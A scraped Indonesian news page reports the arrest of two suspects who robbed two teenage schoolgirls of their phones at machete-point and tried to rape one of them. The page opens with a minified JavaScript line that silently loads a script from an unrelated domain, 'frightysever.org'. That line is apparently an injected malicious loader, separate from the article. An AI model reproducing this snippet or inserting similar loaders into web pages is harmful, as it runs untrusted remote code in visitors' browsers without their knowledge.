(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Dor! Dua Pelaku Begal di Banjarbaru Dilumpuhkan Usai Rampas HP dan Coba Perkosa Korbannya


KANALKALIMANTAN.COM, BANJARBARU – Polsek Banjarbaru bersama tim Macan Kalsel dari Unit Resmob Ditreskrimum Polda Kalsel, berhasil melumpuhkan dua tersangka kasus begal dan percobaan pemerkosaan, Kamis (30/9/2021). Dua tersangka berinisial S (40) dan P (31) terpaksa dilumpuhkan dengan tembakan pada kedua kakinya karena mencoba melawan petugas saat hendak diamankan.

Direktur Reserse Kriminal Umum Polda Kalsel, Kombes Hendri Budiman melalui Kasubdit 3 Jatanras, AKBP Andy Rahmansyah mengatakan, tersangka S dan P dibekuk sekitar pukul 3.00 Wita, di Jalan Lingkar Utara, Kelurahan Landasan Ulin Barat, Kecamatan Landasan Ulin, Kota Banjarbaru.

AKBP Andy menjelaskan, kasus pencurian dengan kekerasan tersebut terjadi Jumat (24/9/2021) pukul 21.00 Wita.

“Saat itu korban yakni dua gadis berinisial RFA (16) dan AF (16) warga Kota Banjarbaru yang masih berstatus sebagai pelajar saat naik motor langsung dipepet oleh kedua pelaku dan menghentikannya di pinggir jalan. Tersangka mengancam dengan parang agar korban menyerahkan HP miliknya,” jelasnya.

 

 

Baca juga: TOK! PTUN Banjarmasin Menangkan Gugatan Class Action Korban Banjir Kalsel!

Karena korban menolak, tersangka menyerang RDF dan AF hingga mengalami luka di jari tangan serta jari kaki.

“Teganya lagi, setelah berhasil merampas HP korban, kedua tersangka juga mencoba memperkosa salah satu korban di lokasi kejadian,” kata AKBP Andy.

Namun karena korban terus melawan, kedua tersangka mengurungkan niatnya untuk menggagahi korban dan selanjutnya melarikan diri. Kasus ini pun kemudian dilaporkan ke polisi. Dan tak beberapa lama kemudian, tim gabungan melakukan penyelidikan dapat memetakan keberadaan tersangka.

Dari hasil interogasi awal, tersangka P diketahui merupakan residivis begal yang baru enam bulan bebas dari LP atas kasus sama. Kini, tersangka P dan S diamankan di Mapolsek Banjarbaru Barat untuk diproses hukum lebih lanjut.

Dari pengungkapan kasus ini, Polisi mengamankan pula sejumlah barang bukti di antaranya, dua unit HP milik korban, satu unit motor, dan satu sajam jenis parang yang digunakan tersangka S dan P saat melancarkan aksi begal.

Baca juga: Dilarang, Dua ASN Mau Jadi Istri Kedua, Malah Kena Pecat

Tak cuma berhasil menangkap kedua tersangka pelaku, polisi juga berhasil mengamankan tersangka berinisial AS (39) yang merupakan penadah barang curian di Kecamatan Bati-Bati, Kabupaten Tanah Laut, Provinsi Kalsel. (Kanalkalimantan.com/Ibnu)

Reporter: ibnu
Editor: cell


Risa

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

17 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

22 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

23 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

2 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

2 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

2 hari ago

This website uses cookies.